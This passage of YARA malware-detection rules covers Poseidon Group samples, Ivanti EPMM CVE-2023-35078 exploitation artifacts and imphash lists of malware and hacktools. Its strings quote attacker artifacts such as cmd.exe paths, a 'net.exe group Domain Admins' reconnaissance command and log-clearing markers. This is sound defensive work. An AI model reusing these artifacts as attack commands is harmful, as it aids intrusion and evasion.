		$sb04 = "UEFZTUVOVC5leGVQS"
		$sb05 = "BBWU1FTlQuZXhlUE"
		$sb06 = "QQVlNRU5ULmV4ZVBL"
		$sb07 = "UkVRVUVTVC5leGVQS"
		$sb08 = "JFUVVFU1QuZXhlUE"
		$sb09 = "SRVFVRVNULmV4ZVBL"
		$sb10 = "T1JERVIuZXhlUE"
		$sb11 = "9SREVSLmV4ZVBL"
		$sb12 = "PUkRFUi5leGVQS"
		$sb13 = "aW52b2ljZS5leGVQS"
		$sb14 = "ludm9pY2UuZXhlUE"
		$sb15 = "pbnZvaWNlLmV4ZVBL"
		$sb16 = "cGF5bWVudC5leGVQS"
		$sb17 = "BheW1lbnQuZXhlUE"
		$sb18 = "wYXltZW50LmV4ZVBL"
		$sb19 = "X3JlcXVlc3QuZXhlUE"
		$sb20 = "9yZXF1ZXN0LmV4ZVBL"
		$sb21 = "fcmVxdWVzdC5leGVQS"
		$sb22 = "X29yZGVyLmV4ZVBL"
		$sb23 = "9vcmRlci5leGVQS"
		$sb24 = "fb3JkZXIuZXhlUE"
		$sb25 = "LXJlcXVlc3QuZXhlUE"
		$sb26 = "1yZXF1ZXN0LmV4ZVBL"
		$sb27 = "tcmVxdWVzdC5leGVQS"
		$sb28 = "LW9yZGVyLmV4ZVBL"
		$sb29 = "1vcmRlci5leGVQS"
		$sb30 = "tb3JkZXIuZXhlUE"
		$sb31 = "IHJlcXVlc3QuZXhlUE"
		$sb32 = "ByZXF1ZXN0LmV4ZVBL"
		$sb33 = "gcmVxdWVzdC5leGVQS"
		$sb34 = "IG9yZGVyLmV4ZVBL"
		$sb35 = "BvcmRlci5leGVQS"
		$sb36 = "gb3JkZXIuZXhlUE"
		$sb37 = "LmRvYy5leGVQS"
		$sb38 = "5kb2MuZXhlUE"
		$sb39 = "uZG9jLmV4ZVBL"
		$sb40 = "LmRvY3guZXhlUE"
		$sb41 = "5kb2N4LmV4ZVBL"
		$sb42 = "uZG9jeC5leGVQS"
		$sb43 = "Lnhscy5leGVQS"
		$sb44 = "54bHMuZXhlUE"
		$sb45 = "ueGxzLmV4ZVBL"
		$sb46 = "Lnhsc3guZXhlUE"
		$sb47 = "54bHN4LmV4ZVBL"
		$sb48 = "ueGxzeC5leGVQS"
		$sb49 = "LnBkZi5leGVQS"
		$sb50 = "5wZGYuZXhlUE"
		$sb51 = "ucGRmLmV4ZVBL"
		$sb52 = "LnBwdC5leGVQS"
		$sb53 = "5wcHQuZXhlUE"
		$sb54 = "ucHB0LmV4ZVBL"
		$sb55 = "LnBwdHguZXhlUE"
		$sb56 = "5wcHR4LmV4ZVBL"
		$sb57 = "ucHB0eC5leGVQS"
		$sb58 = "LnJ0Zi5leGVQS"
		$sb59 = "5ydGYuZXhlUE"
		$sb60 = "ucnRmLmV4ZVBL"
		$sb61 = "LnR4dC5leGVQS"
		$sb62 = "50eHQuZXhlUE"
		$sb63 = "udHh0LmV4ZVBL"

	condition:
		uint16( 0 ) == 0x4b50 and 1 of ( $sa* ) or 1 of ( $sb* )
}

rule PoseidonGroup_Malware
{
	meta:
		description = "Detects Poseidon Group Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
		date = "2016-02-09"
		modified = "2023-01-27"
		score = 85
		hash1 = "337e94119cfad0b3144af81b72ac3b2688a219ffa0bdf23ca56c7a68fbe0aea4"
		hash2 = "344034c0bf9fcd52883dbc158abf6db687150d40a118d9cd6ebd843e186128d3"
		hash3 = "432b7f7f7bf94260a58ad720f61d91ba3289bf0a9789fc0c2b7ca900788dae61"
		hash4 = "8955df76182005a69f19f5421c355f1868efe65d6b9e0145625dceda94b84a47"
		hash5 = "d090b1d77e91848b1e2f5690b54360bbbd7ef808d017304389b90a0f8423367f"
		hash6 = "d7c8b47a0d0a9181fb993f17e165d75a6be8cf11812d3baf7cf11d085e21d4fb"
		hash7 = "ded0ee29af97496f27d810f6c16d78a3031d8c2193d5d2a87355f3e3ca58f9b3"
		id = "fe8b227a-d93d-5540-ba73-3f20358205f6"

	strings:
		$s1 = "c:\\winnt\\system32\\cmd.exe" fullword ascii
		$s2 = "c:\\windows\\system32\\cmd.exe" fullword ascii
		$s3 = "c:\\windows\\command.com" fullword ascii
		$s4 = "copy \"%s\" \"%s\" /Y" fullword ascii
		$s5 = "http://%s/files/" ascii
		$s6 = "\"%s\". %s: \"%s\"." fullword ascii
		$s7 = "0x0666" fullword ascii
		$s8 = "----------------This_is_a_boundary$" fullword ascii
		$s9 = "Server 2012" fullword ascii
		$s10 = "Server 2008" fullword ascii
		$s11 = "Server 2003" fullword ascii
		$a1 = "net.exe group \"Domain Admins\" /domain" fullword ascii
		$a2 = "net.exe group \"Admins. do Dom" fullword ascii
		$a3 = "(SVRID=%d)" fullword ascii
		$a4 = "(TG=%d)" fullword ascii
		$a5 = "(SVR=%s)" fullword ascii
		$a6 = "Set-Cookie:\\b*{.+?}\\n" fullword wide
		$a7 = "net.exe localgroup Administradores" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 650KB and 6 of ( $s* ) ) or ( 4 of ( $s* ) and 1 of ( $a* ) )
}

rule PoseidonGroup_MalDoc_1
{
	meta:
		description = "Detects Poseidon Group - Malicious Word Document"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
		date = "2016-02-09"
		score = 80
		hash = "0983526d7f0640e5765ded6be6c9e64869172a02c20023f8a006396ff358999b"
		id = "ab26455a-d468-5a75-a6e2-61701ca3a1df"

	strings:
		$s1 = "c:\\cmd32dll.exe" fullword ascii

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 500KB and all of them
}

rule PoseidonGroup_MalDoc_2
{
	meta:
		description = "Detects Poseidon Group - Malicious Word Document"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
		date = "2016-02-09"
		score = 70
		hash1 = "3e4cacab0ff950da1c6a1c640fe6cf5555b99e36d4e1cf5c45f04a2048f7620c"
		hash2 = "1f77475d7740eb0c5802746d63e93218f16a7a19f616e8fddcbff07983b851af"
		hash3 = "f028ee20363d3a17d30175508bbc4738dd8e245a94bfb200219a40464dd09b3a"
		hash4 = "ec309300c950936a1b9f900aa30630b33723c42240ca4db978f2ca5e0f97afed"
		hash5 = "27449198542fed64c23f583617908c8648fa4b4633bacd224f97e7f5d8b18778"
		hash6 = "1e62629dae05bf7ee3fe1346faa60e6791c61f92dd921daa5ce2bdce2e9d4216"
		id = "9fc0f25e-809d-5803-be39-740ce3a3c85a"

	strings:
		$s0 = "{\\*\\generator Msftedit 5.41." ascii
		$s1 = "Attachment 1: Complete Professional Background" ascii
		$s2 = "E-mail:  \\cf1\\ul\\f1"
		$s3 = "Education:\\par" ascii
		$s5 = "@gmail.com" ascii

	condition:
		uint32( 0 ) == 0x74725c7b and filesize < 500KB and 3 of them
}

rule LOG_EXPL_Ivanti_EPMM_MobileIron_Core_CVE_2023_35078_Jul23_1
{
	meta:
		description = "Detects the successful exploitation of Ivanti Endpoint Manager Mobile (EPMM) / MobileIron Core CVE-2023-35078"
		author = "Florian Roth"
		reference = "Ivanti Endpoint Manager Mobile (EPMM) CVE-2023-35078 - Analysis Guidance"
		date = "2023-07-25"
		score = 75
		id = "44cca0b5-3851-5786-82fd-ce3ccb566453"

	strings:
		$xr1 = /\/mifs\/aad\/api\/v2\/[^\n]{1,300} 200 [1-9][0-9]{0,60} /

	condition:
		$xr1
}

rule MAL_WAR_Ivanti_EPMM_MobileIron_Mi_War_Aug23
{
	meta:
		description = "Detects WAR file found in the Ivanti EPMM / MobileIron Core compromises exploiting CVE-2023-35078"
		author = "Florian Roth"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-213a"
		date = "2023-08-01"
		score = 85
		hash1 = "6255c75e2e52d779da39367e7a7d4b8d1b3c9c61321361952dcc05819251a127"
		id = "cd16cf29-a90d-5c3f-b66f-e9264dbf79fb"

	strings:
		$s1 = "logsPaths.txt" ascii fullword
		$s2 = "keywords.txtFirefox" ascii

	condition:
		uint16( 0 ) == 0x4b50 and filesize < 20KB and all of them
}

rule MAL_WAR_Ivanti_EPMM_MobileIron_LogClear_JAVA_Aug23
{
	meta:
		description = "Detects LogClear.class found in the Ivanti EPMM / MobileIron Core compromises exploiting CVE-2023-35078"
		author = "Florian Roth"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-213a"
		date = "2023-08-01"
		score = 80
		hash1 = "deb381c25d7a511b9eb936129eeba2c0341cff7f4bd2168b05e40ab2ee89225e"
		id = "e1ef3bf3-0107-5ba6-a49f-71e079851a4f"

	strings:
		$s1 = "logsPaths.txt" ascii fullword
		$s2 = "log file: %s, not read" ascii fullword
		$s3 = "/tmp/.time.tmp" ascii fullword
		$s4 = "readKeywords" ascii fullword
		$s5 = "\"----------------  ----------------" ascii fullword

	condition:
		uint16( 0 ) == 0xfeca and filesize < 20KB and 4 of them or all of them
}

import "pe"

rule MAL_Malware_Imphash_Mar23_1
{
	meta:
		description = "Detects malware by known bad imphash or rich_pe_header_hash"
		reference = "https://yaraify.abuse.ch/statistics/"
		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
		author = "Arnim Rupp"
		date = "2023-03-20"
		modified = "2023-03-22"
		score = 75
		hash = "167dde6bd578cbfcc587d5853e7fc2904cda10e737ca74b31df52ba24db6e7bc"
		hash = "0a25a78c6b9df52e55455f5d52bcb3816460001cae3307b05e76ac70193b0636"
		hash = "d87a35decd0b81382e0c98f83c7f4bf25a2b25baac90c9dcff5b5a147e33bcc8"
		hash = "5783bf969c36f13f4365f4cae3ec4ee5d95694ff181aba74a33f4959f1f19e8b"
		hash = "4ca925b0feec851d787e7ee42d263f4c08b0f73f496049bdb5d967728ff91073"
		hash = "9c2d2fa9c32fdff1828854e8cc39160dae73a4f90fb89b82ef6d853b63035663"
		hash = "2c53d58f30b2ee1a2a7746e20f136c34d25d0214261783fc67e119329d457c2a"
		hash = "5e83747015b0589b4f04b0db981794adf53274076c1b4acf717e3ff45eca0249"
		hash = "ceaa0af90222ff3a899b9a360f6328cbda9ec0f5fbd18eb44bdc440470bb0247"
		hash = "82fb1ba998dfee806a513f125bb64c316989c36c805575914186a6b45da3b132"
		hash = "cb41d2520995abd9ba8ccd42e53d496a66da392007ea6aebd4cbc43f71ad461a"
		hash = "c7bd758506b72ee6db1cc2557baf745bf9e402127d8e49266cc91c90f3cf3ed5"
		hash = "e6e0d60f65a4ea6895ff97df340f6d90942bbfa402c01bf443ff5b4641ff849f"
		hash = "e8ddef9fa689e98ba2d48260aea3eb8fa41922ed718b7b9135df6426b3ddf126"
		hash = "ad57d77aba6f1bf82e0affe4c0ae95964be45fb3b7c2d6a0e08728e425ecd301"
		hash = "483df98eb489899bc89c6a0662ca8166c9b77af2f6bedebd17e61a69211843d9"
		hash = "a65ed85851d8751e6fe6a27ece7b3879b90866a10f272d8af46fb394b46b90a9"
		hash = "09081e04f3228d6ef2efc1108850958ed86026e4dfda199852046481f4711565"
		hash = "1b2c9054f44f7d08cffe7e2d9127dbd96206ab2c15b63ebf6120184950336ae1"
		hash = "257887d1c84eb15abb2c3c0d7eb9b753ca961d905f4979a10a094d0737d97138"
		hash = "1cbad8b58dbd1176e492e11f16954c3c254b5169dde52b5ad6d0d3c51930abf8"
		hash = "a9897fd2d5401071a8219b05a3e9b74b64ad67ab75044b3e41818e6305a8d7b9"
		hash = "aeac45fbc5d2a59c9669b9664400aeaf6699d76a57126d2f437833a3437a693e"
		hash = "7b4c4d4676fab6c009a40d370e6cb53ea4fd73b09c23426fbaccc66d652f2a00"
		hash = "b07f6873726276842686a6a6845b361068c3f5ce086811db05c1dc2250009cd0"
		hash = "d1b3afebcacf9dd87034f83d209b42b0d79e66e08c0a897942fbe5fbd6704a0e"
		hash = "074d52be060751cf213f6d0ead8e9ab1e63f055ae79b5fcbe4dd18469deea12b"
		hash = "84d1fdef484fa9f637ae3d6820c996f6c5cf455470e8717ad348a3d80d2fb8e0"
		hash = "437da123e80cfd10be5f08123cd63cfc0dc561e17b0bef861634d60c8a134eda"
		hash = "f76c36eb22777473b88c6a5fc150fd9d6b5fac5b2db093f0ccd101614c46c7e7"
		hash = "5498b7995669877a410e1c2b68575ca94e79014075ef5f89f0f1840c70ebf942"
		hash = "af4e633acfba903e7c92342b114c4af4e694c5cfaea3d9ea468a4d322b60aa85"
		hash = "d7d870f5afab8d4afa083ea7d7ce6407f88b0f08ca166df1a1d9bdc1a46a41b3"
		hash = "974209d88747fbba77069bb9afa9e8c09ee37ae233d94c82999d88dfcd297117"
		hash = "f2d99e7d3c59adf52afe0302b298c7d8ea023e9338c2870f74f11eaa0a332fc4"
		hash = "b32c93be9320146fc614fafd5e6f1bb8468be83628118a67eb01c878f941ee5d"
		hash = "bbd99acc750e6457e89acbc5da8b2a63b4ef01d4597d160e9cde5dc8bd04cf74"
		hash = "dbff5ca3d1e18902317ab9c50be4e172640a8141e09ec13dcca986f2ec1dc395"
		hash = "3ee1741a649f0b97bbeb05b6f9df97afda22c82e1e870177d8bdd34141ef163c"
		hash = "222096fc800c8ea2b0e530302306898b691858324dbe5b8357f90407e9665b85"
		hash = "b9995d1987c4e8b6fb30d255948322cfad9cc212c7f8f4c5db3ac80e23071533"
		hash = "a6a92ea0f27da1e678c15beb263647de43f68608afe82d6847450f16a11fe6c0"
		hash = "866e3ea86671a62b677214f07890ddf7e8153bec56455ad083c800e6ab51be37"
		id = "fb398c26-e9ac-55f9-b605-6b763021e96a"

	strings:
		$fp1 = "Win32 Cabinet Self-Extractor" wide
		$fp2 = "EXTRACTOPT" ascii fullword

	condition:
		uint16( 0 ) == 0x5A4D and ( pe.imphash ( ) == "9ee34731129f4801db97fd66adbfeaa0" or pe.imphash ( ) == "f9e8597c55008e10a8cdc8a0764d5341" or pe.imphash ( ) == "0a76016a514d8ed3124268734a31e2d2" or pe.imphash ( ) == "d3cbd6e8f81da85f6bf0529e69de9251" or pe.imphash ( ) == "d8b32e731e5438c6329455786e51ab4b" or pe.imphash ( ) == "cdf5bbb8693f29ef22aef04d2a161dd7" or pe.imphash ( ) == "890e522b31701e079a367b89393329e6" or pe.imphash ( ) == "bf5a4aa99e5b160f8521cadd6bfe73b8" or pe.imphash ( ) == "646167cce332c1c252cdcb1839e0cf48" or pe.imphash ( ) == "9f4693fc0c511135129493f2161d1e86" or pe.imphash ( ) == "b4c6fff030479aa3b12625be67bf4914" ) and not 1 of ( $fp* )
}

import "pe"

rule HKTL_Imphashes_Aug22_1
{
	meta:
		description = "Detects different hacktools based on their imphash"
		author = "Florian Roth"
		reference = "Internal Research"
		score = 80
		date = "2022-08-17"
		modified = "2023-03-21"
		id = "e1d4dde6-16ad-5495-b3a7-01a86c830761"

	condition:
		uint16( 0 ) == 0x5a4d and ( pe.imphash ( ) == "bcca3c247b619dcd13c8cdff5f123932" or pe.imphash ( ) == "3a19059bd7688cb88e70005f18efc439" or pe.imphash ( ) == "bf6223a49e45d99094406777eb6004ba" or pe.imphash ( ) == "0c106686a31bfe2ba931ae1cf6e9dbc6" or pe.imphash ( ) == "0d1447d4b3259b3c2a1d4cfb7ece13c3" or pe.imphash ( ) == "1b0369a1e06271833f78ffa70ffb4eaf" or pe.imphash ( ) == "4c1b52a19748428e51b14c278d0f58e3" or pe.imphash ( ) == "4d927a711f77d62cebd4f322cb57ec6f" or pe.imphash ( ) == "66ee036df5fc1004d9ed5e9a94a1086a" or pe.imphash ( ) == "672b13f4a0b6f27d29065123fe882dfc" or pe.imphash ( ) == "6bbd59cea665c4afcc2814c1327ec91f" or pe.imphash ( ) == "725bb81dc24214f6ecacc0cfb36ad30d" or pe.imphash ( ) == "9528a0e91e28fbb88ad433feabca2456" or pe.imphash ( ) == "9da6d5d77be11712527dcab86df449a3" or pe.imphash ( ) == "a6e01bc1ab89f8d91d9eab72032aae88" or pe.imphash ( ) == "b24c5eddaea4fe50c6a96a2a133521e4" or pe.imphash ( ) == "d21bbc50dcc169d7b4d0f01962793154" or pe.imphash ( ) == "fcc251cceae90d22c392215cc9a2d5d6" or pe.imphash ( ) == "23867a89c2b8fc733be6cf5ef902f2d1" or pe.imphash ( ) == "a37ff327f8d48e8a4d2f757e1b6e70bc" or pe.imphash ( ) == "f9a28c458284584a93b14216308d31bd" or pe.imphash ( ) == "6118619783fc175bc7ebecff0769b46e" or pe.imphash ( ) == "959a83047e80ab68b368fdb3f4c6e4ea" or pe.imphash ( ) == "563233bfa169acc7892451f71ad5850a" or pe.imphash ( ) == "87575cb7a0e0700eb37f2e3668671a08" or pe.imphash ( ) == "13f08707f759af6003837a150a371ba1" or pe.imphash ( ) == "1781f06048a7e58b323f0b9259be798b" or pe.imphash ( ) == "233f85f2d4bc9d6521a6caae11a1e7f5" or pe.imphash ( ) == "24af2584cbf4d60bbe5c6d1b31b3be6d" or pe.imphash ( ) == "632969ddf6dbf4e0f53424b75e4b91f2" or pe.imphash ( ) == "713c29b396b907ed71a72482759ed757" or pe.imphash ( ) == "749a7bb1f0b4c4455949c0b2bf7f9e9f" or pe.imphash ( ) == "8628b2608957a6b0c6330ac3de28ce2e" or pe.imphash ( ) == "8b114550386e31895dfab371e741123d" or pe.imphash ( ) == "94cb940a1a6b65bed4d5a8f849ce9793" or pe.imphash ( ) == "9d68781980370e00e0bd939ee5e6c141" or pe.imphash ( ) == "b18a1401ff8f444056d29450fbc0a6ce" or pe.imphash ( ) == "cb567f9498452721d77a451374955f5f" or pe.imphash ( ) == "730073214094cd328547bf1f72289752" or pe.imphash ( ) == "17b461a082950fc6332228572138b80c" or pe.imphash ( ) == "dc25ee78e2ef4d36faa0badf1e7461c9" or pe.imphash ( ) == "819b19d53ca6736448f9325a85736792" or pe.imphash ( ) == "829da329ce140d873b4a8bde2cbfaa7e" or pe.imphash ( ) == "c547f2e66061a8dffb6f5a3ff63c0a74" or pe.imphash ( ) == "0588081ab0e63ba785938467e1b10cca" or pe.imphash ( ) == "0d9ec08bac6c07d9987dfd0f1506587c" or pe.imphash ( ) == "bc129092b71c89b4d4c8cdf8ea590b29" or pe.imphash ( ) == "4da924cf622d039d58bce71cdf05d242" or pe.imphash ( ) == "e7a3a5c377e2d29324093377d7db1c66" or pe.imphash ( ) == "9a9dbec5c62f0380b4fa5fd31deffedf" or pe.imphash ( ) == "af8a3976ad71e5d5fdfb67ddb8dadfce" or pe.imphash ( ) == "0c477898bbf137bbd6f2a54e3b805ff4" or pe.imphash ( ) == "0ca9f02b537bcea20d4ea5eb1a9fe338" or pe.imphash ( ) == "3ab3655e5a14d4eefc547f4781bf7f9e" or pe.imphash ( ) == "e6f9d5152da699934b30daab206471f6" or pe.imphash ( ) == "3ad59991ccf1d67339b319b15a41b35d" or pe.imphash ( ) == "ffdd59e0318b85a3e480874d9796d872" or pe.imphash ( ) == "0cf479628d7cc1ea25ec7998a92f5051" or pe.imphash ( ) == "07a2d4dcbd6cb2c6a45e6b101f0b6d51" or pe.imphash ( ) == "d6d0f80386e1380d05cb78e871bc72b1" or pe.imphash ( ) == "38d9e015591bbfd4929e0d0f47fa0055" or pe.imphash ( ) == "0e2216679ca6e1094d63322e3412d650" or pe.imphash ( ) == "ada161bf41b8e5e9132858cb54cab5fb" or pe.imphash ( ) == "2a1bc4913cd5ecb0434df07cb675b798" or pe.imphash ( ) == "11083e75553baae21dc89ce8f9a195e4" or pe.imphash ( ) == "a23d29c9e566f2fa8ffbb79267f5df80" or pe.imphash ( ) == "4a07f944a83e8a7c2525efa35dd30e2f" or pe.imphash ( ) == "767637c23bb42cd5d7397cf58b0be688" or pe.imphash ( ) == "14c4e4c72ba075e9069ee67f39188ad8" or pe.imphash ( ) == "3c782813d4afce07bbfc5a9772acdbdc" or pe.imphash ( ) == "7d010c6bb6a3726f327f7e239166d127" or pe.imphash ( ) == "89159ba4dd04e4ce5559f132a9964eb3" or pe.imphash ( ) == "6f33f4a5fc42b8cec7314947bd13f30f" or pe.imphash ( ) == "5834ed4291bdeb928270428ebbaf7604" or pe.imphash ( ) == "5a8a8a43f25485e7ee1b201edcbc7a38" or pe.imphash ( ) == "dc7d30b90b2d8abf664fbed2b1b59894" or pe.imphash ( ) == "41923ea1f824fe63ea5beb84db7a3e74" or pe.imphash ( ) == "3de09703c8e79ed2ca3f01074719906b" or pe.imphash ( ) == "a53a02b997935fd8eedcb5f7abab9b9f" or pe.imphash ( ) == "e96a73c7bf33a464c510ede582318bf2" or pe.imphash ( ) == "32089b8851bbf8bc2d014e9f37288c83" or pe.imphash ( ) == "09D278F9DE118EF09163C6140255C690" or pe.imphash ( ) == "03866661686829d806989e2fc5a72606" or pe.imphash ( ) == "e57401fbdadcd4571ff385ab82bd5d6d" or pe.imphash ( ) == "84B763C45C0E4A3E7CA5548C710DB4EE" or pe.imphash ( ) == "19584675d94829987952432e018d5056" or pe.imphash ( ) == "330768a4f172e10acb6287b87289d83b" )
}

import "pe"

rule SUSP_Imphash_Mar23_2 : HIGHVOL
{
	meta:
		description = "Detects imphash often found in malware samples (Zero hits with with search for 'imphash:x p:0' on Virustotal)"
		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		date = "2023-03-23"
		modified = "2023-11-25"
		score = 65
		hash = "12bf2795f4a140adbaa0af6ad4b2508d398d8ba69e9dadb155f800b10f7458c4"
		hash = "14ec56489fbcc3c7f1ef9a4d4a80ff302a5e233cdc4429a29c635a88fb1278d6"
		hash = "13731912823d6ce01c28a8d7d7f961505f461620bb35adbb409d4954ba1f4b8e"
		hash = "15e59cc5d7b83e63d40dbfd8406701cb4decd31353f68fda47238d073c87e4ea"
		hash = "13e5bb40be20b1a0bc28081ce7798f339c28c9652cb37b538c29872dfd0cd51d"
		hash = "16f963afdb30b38ba4b8b98ce56a37626e9fd87de9eba5f9903d2ba7f8a77788"
		hash = "168f22d02304ce66be88d2370c8fa7c7d9aa2ccf80f8e376edfeabfc9b96c73d"
		hash = "9e7701450dbcbd35083e34df935bd77a95735c4b441e0fc8eacd543a621f2fa5"
		hash = "51205c100702b21cce600692d69f3b108f49228e53f36678dd8b39434406526b"
		hash = "c9b48e8b0e7c6fa75886554659bc0529e454d84b29daa07bd4323aca9a33f607"
		hash = "ba5c06703bd3c093afa89e45d86aaf6c151fbaef44ebf3b65c97f3b376a88c72"
		hash = "7281afc138e8e898aee16d415cd02a29dc5dedda5b11c23934aac0ebd208373b"
		hash = "10a091b2468a8286f7b1a580d8923aef48856b43014e849035f05c4dbdc0a413"
		hash = "56c04e76427bd982be83799d0a435732193d7bf5a70cdeba5eb63eaf0d4ebb77"
		hash = "0aa8b7eddc4792a82f247702442c04e50173bd7712a4b596545916480942853b"
		hash = "627f043ad875c182682149653363b7f856dd618d169821b18df7bc9cdf6269d8"
		hash = "e1df460fd99c4f901859f3a8ec23b041ba9f4b79897dec349a96d6a27fb3e335"
		hash = "f10ecbd8031ce85b782c59682ff32301a65e0975687977688771f1057fb063d1"
		hash = "1bc7b8932b5b077b359c79e7ca664938b7a487a4e7e6b99d6647d6803bc677c5"
		hash = "01f81029a5e93cbfecfbc81cbd4a2ffd1bb1b6159e2a144a21e58caf8dab9661"
		hash = "cd33a71f71e2971667bacb0da71f2d36073777993b9581ec90bbf042162c3530"
		hash = "4aab991149cb2dc8c0c0a323af3acbbd73d6a22177910ef3af92b05ae7c9ae7b"
		hash = "df05fa3983c9e623388231d366dba4e435575ca53421d3f0bcb0fb346dd971d4"
		hash = "14de3584fe7108386f7637c2bd343f30341c0fa2102d52bb35ee772b5b7672f0"
		hash = "c4d9ad5cffd9aa13dfe3acbf0905810e28ff96d231541d7e209327ca5b0b24fe"
		hash = "5e0bed2269dc34c6cc2db30b0a53282e6debb85b3c90a857d1be4cfd06312211"
		hash = "3aa13e72382a2d7da592273b8c18a42106b65db528e16b6066646812e81555c4"
		hash = "244c4a930e3644ffb96bf3ab33e8c8c0f94ed9fe6a8b2fc45fc8e9b6471ef3a8"
		hash = "f00848b8edeeb5a668bf7e89e3f33f438b2f5d5cf130596a8ed2531e21be6d81"
		hash = "5b9348c24ff604e78d70464654e645b90dc695c7e0415959c443fe29cebc3c4e"
		id = "b739d540-5d9f-53b3-9e42-a514dc972e8d"

	condition:
		uint16( 0 ) == 0x5A4D and ( pe.imphash ( ) == "e4290fa6afc89d56616f34ebbd0b1f2c" or pe.imphash ( ) == "8abecba2211e61763c4c9ffcaa13369e" or pe.imphash ( ) == "a64e048b98d051ae6e6b6334f77c95d3" or pe.imphash ( ) == "359d89624a26d1e756c3e9d6782d6eb0" or pe.imphash ( ) == "c2a87fabf96470db507b2e6b43bd92eb" or pe.imphash ( ) == "62ec3dce1eba1b68f6a4511bb09f8c2c" or pe.imphash ( ) == "5662cfcdfd9da29cb429e7528d5af81e" or pe.imphash ( ) == "406c785a6e2c6970c1e8ed62877e197b" or pe.imphash ( ) == "dbf687d6aa2a6cafe4349f7b0821a792" or pe.imphash ( ) == "6dca3e9fb3928bbdb54dbce669943ec8" or pe.imphash ( ) == "f1a539a5b71ad53ac586f053145f08ec" or pe.imphash ( ) == "3a2003ea545fe942681da9e7683ebb58" or pe.imphash ( ) == "a8286b574ff850cd002ea6282d15aa40" or pe.imphash ( ) == "3c8577ca4bab2f95cc6fc73ef1895288" or pe.imphash ( ) == "84706849fa809feaa385711a628be029" or pe.imphash ( ) == "ba23a556ac1d6444f7f76feafd6c8867" or pe.imphash ( ) == "95e6f8741083e0c7d9a63d45e2472360" or pe.imphash ( ) == "774d797db707398fd2ef1979d02634d5" or pe.imphash ( ) == "8c16c795b57934183422be5f6df7d891" or pe.imphash ( ) == "98f67c550a7da65513e63ffd998f6b2e" or pe.imphash ( ) == "e836076a09dba03e4d6faa46dda0fefc" or pe.imphash ( ) == "ff63dc9c65eb25911a9bc535c8f06ad0" or pe.imphash ( ) == "08b67a9663d3a8c9505f3b2561bbdd1c" or pe.imphash ( ) == "135e92fc9902f3140f2e5a51458efdf0" or pe.imphash ( ) == "4753904c40d638a1bc745c65b88291d5" or pe.imphash ( ) == "0f44bf2b3b0b8d5ecae5689ff1d0e90d" or pe.imphash ( ) == "c4c9ecfc26ca516a80b8f6f5b2bdb7e6" or pe.imphash ( ) == "46ad3d954e527f769e37017b3e128039" or pe.imphash ( ) == "802dcac7aab948c19738ba3df9f356d9" or pe.imphash ( ) == "b36a21279375c40e6f4c1ea347f906de" or pe.imphash ( ) == "77a185e903c5527243ef219b003bfd38" or pe.imphash ( ) == "12a30b523ac71a3cbe9145c89400dd7f" or pe.imphash ( ) == "cc40fefa3af5cd00cc28dbd874038a4d" or pe.imphash ( ) == "3d8c26f4cb1782a87c3bb42796fb6b85" or pe.imphash ( ) == "2f4ddcfebbcad3bacadc879747151f6f" or pe.imphash ( ) == "76812f441b0ed9d3cc0748af25d689a3" or pe.imphash ( ) == "9a06f0024c1694774ae97311608bab5b" or pe.imphash ( ) == "481f47bbb2c9c21e108d65f52b04c448" or pe.imphash ( ) == "286870a926664a5129b8b68ed0d4a8eb" or pe.imphash ( ) == "a0db151d55761167d93eba72d3d94b32" or pe.imphash ( ) == "663243fe4d94e1304b265ce4011cd01b" or pe.imphash ( ) == "f24e64014af9015dc25262e5076fe61f" or pe.imphash ( ) == "b7d08302c927428e16a2ad8d18b9d2b7" or pe.imphash ( ) == "352063077f27a851dc2b08e15f08105e" or pe.imphash ( ) == "b0b97d1a91a2730b3daa8bbb2e86b402" or pe.imphash ( ) == "bc96f1c981700752dc2cf9553da99eb6" or pe.imphash ( ) == "f68ddef5f29b66bbd543e947c8743bb0" or pe.imphash ( ) == "6dfbc160505aa2f7205766eaa6fe72a1" or pe.imphash ( ) == "a202429ffe8d8c8b722572cffd5681a7" or pe.imphash ( ) == "342a3708d93b6b819b7b1a768201a747" or pe.imphash ( ) == "cdc00badc7162acde9bb032e793ac137" or pe.imphash ( ) == "be19e18d6a8b41631d40059031a928bb" or pe.imphash ( ) == "0c54f96a844b02689687407de9b6663e" or pe.imphash ( ) == "fa5f28e70130a452b7c0a51db5544ef9" or pe.imphash ( ) == "2e5708ae5fed0403e8117c645fb23e5b" or pe.imphash ( ) == "8d92fa1956a6a631c642190121740197" or pe.imphash ( ) == "dc73a9bd8de0fd640549c85ac4089b87" )
}

import "pe"

rule SUSP_Imphash_Mar23_3
{
	meta:
		description = "Detects imphash often found in malware samples (Maximum 0,25% hits with search for 'imphash:x p:0' on Virustotal) = 99,75% hits"
		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-23"
		modified = "2023-07-24"
		reference = "Internal Research"
		score = 45
		hash = "b5296cf0eb22fba6e2f68d0c9de9ef7845f330f7c611a0d60007aa87e270c62a"
		hash = "5a5a5f71c2270cea036cd408cde99f4ebf5e04a751c558650f5cb23279babe6d"
		hash = "481b0d9759bfd209251eccb1848048ebbe7bd2c87c5914a894a5bffc0d1d67ff"
		hash = "716ba6ea691d6a391daedf09ae1262f1dc1591df85292bff52ad76611666092d"
		hash = "800d160736335aafab10503f7263f9af37a15db3e88e41082d50f68d0ad2dabd"
